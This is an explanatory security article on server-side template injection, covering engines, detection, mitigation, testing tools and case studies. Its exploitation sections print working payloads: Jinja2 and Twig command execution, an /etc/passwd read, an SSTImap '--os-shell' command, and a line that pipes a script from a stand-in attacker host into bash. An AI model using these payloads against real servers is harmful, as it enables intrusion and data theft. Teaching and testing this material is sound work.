Server-Side Template Injection (SSTI)

Server-Side Template Injection (SSTI) is a severe web application vulnerability that occurs when attackers manipulate template engines by injecting malicious directives. Unlike traditional injection attacks, SSTI exploits the template engine's native syntax, enabling adversaries to execute arbitrary code on the server and potentially gain full control of the application.

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Key Characteristics of SSTI

Risk Profile

• Critical Impact: Can lead to remote code execution (RCE), data breaches, and complete server compromise.
• Attack Surface: Exploits dynamic template rendering where user input is embedded without proper sanitization.
• Prevalence: Affects applications using template engines like Jinja2, Twig, Pug, Smarty, and ERB.

How SSTI Works

1. User Input Integration Applications dynamically embed user-supplied data into templates (e.g., Hello, {{username}}).

2. Improper Sanitization The application fails to neutralize template syntax in user input, allowing malicious payloads to execute.

3. Template Engine Execution The engine processes the malicious input as template code, executing attacker-controlled logic.

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Exploitation Mechanics

Example Attack Flow

Payload:

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Vulnerable Template Engines

Engine	Language	Common Attack Vectors
Jinja2	Python	{{7*7}}, {{config}}
Twig	PHP	{{_self.env.registerUndefinedFilterCallback()}}
Pug	Node.js	#{7*7}, !{process.env}
Smarty	PHP	{php}echo system('id');{/php}
ERB	Ruby	<%= 7*7 %>, <% system('id') %>

Detection Indicators

• Mathematical Operations: {{7*7}} → 49 (Jinja2)
• Environment Leaks: {{config}} → Displays application configuration
• Error-Based: {{invalid.syntax}} → Template engine error messages

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Exploitation Techniques

Basic Payloads

# Jinja2 - Math execution
{{7*7}}

# Twig - PHP info leak
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Advanced Exploitation

1. Information Gathering

   {{request.application.__globals__.__builtins__.open("/etc/passwd").read()}}
   

2. Remote Code Execution

   {{config.__class__.__init__.__globals__['os'].popen('curl http://attacker.com/shell.sh | bash').read()}}
   

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Prevention and Mitigation

Secure Coding Practices

• Input Validation: Whitelist allowed characters for template variables.
• Context-Aware Escaping: Enable auto-escaping in template engines.

  # Jinja2 - Auto-escaping enabled
  app.jinja_env.autoescape = True
  

• Sandboxing: Restrict template engine capabilities.

  # Jinja2 - Sandboxed environment
  from jinja2.sandbox import SandboxedEnvironment
  env = SandboxedEnvironment()
  

Defense-in-Depth Measures

1. Template Engine Hardening

   • Disable dangerous functions (eval, exec, system).
   • Use read-only template contexts.

2. Runtime Protections

   • Implement Content Security Policy (CSP).
   • Deploy Web Application Firewalls (WAFs) with SSTI rules.

3. Architectural Controls

   • Separate template rendering from user input.
   • Use template compilation instead of dynamic evaluation.

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Detection and Testing

Manual Testing Methodology

1. Identify Template Syntax Test with {{7*7}}, ${7*7}, or #{7*7} based on the engine.

2. Error Analysis Observe template engine error messages for clues.

3. Blind SSTI Testing Use time-based payloads for out-of-band detection.

   {{config.__class__.__init__.__globals__['__builtins__']['__import__']('time').sleep(10)}}
   

Automated Tools

• SSTImap: Comprehensive SSTI exploitation framework.

  python3 sstimap.py -u "https://example.com/?name=test" --os-shell
  

• Tplmap: Template injection scanner.
• Burp Suite: Active scanner with SSTI detection rules.

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Real-World Impact

Case Studies

1. Uber (2016) SSTI in internal tools led to RCE and data exposure, compromising sensitive customer information.

2. Shopify (2018) Template injection in the Liquid engine allowed arbitrary file reads and potential RCE.

3. GitLab (2020) SSTI in project import functionality enabled complete server takeover.

Business Consequences

• Data Breaches: Exposure of customer PII and payment data.
• Reputation Damage: Loss of customer trust and brand value.
• Regulatory Fines: Violations of GDPR, CCPA, and other compliance standards.
• Operational Disruption: Server downtime and recovery costs.

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Key Takeaways

Golden Rule: Never trust user input in template contexts—always sanitize and validate.

• Critical Vulnerability: SSTI enables server-side code execution with devastating consequences.
• Engine-Specific Risks: Each template engine has unique syntax and exploitation methods.
• Defense Layers: Combine input validation, output encoding, and runtime protections.
• Continuous Testing: Regularly scan applications with automated tools and manual testing.
• Developer Education: Train teams on secure template usage and engine-specific risks.

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Learn More

Essential Resources

• OWASP Testing Guide: Server-Side Template Injection
• PortSwigger Research: SSTI Exploitation Techniques
• Template Engine Documentation:
  • Jinja2 Security
  • Twig Security

Tools and Frameworks

• SSTImap: GitHub Repository
• Tplmap: GitHub Repository
• PayloadsAllTheThings: SSTI Payloads

Advanced Topics

• Blind SSTI Exploitation: Techniques for non-error-based detection.
• SSTI in Modern Frameworks: Risks in Angular and React server-side rendering.
• Container Escape: Using SSTI to break out of Docker containers.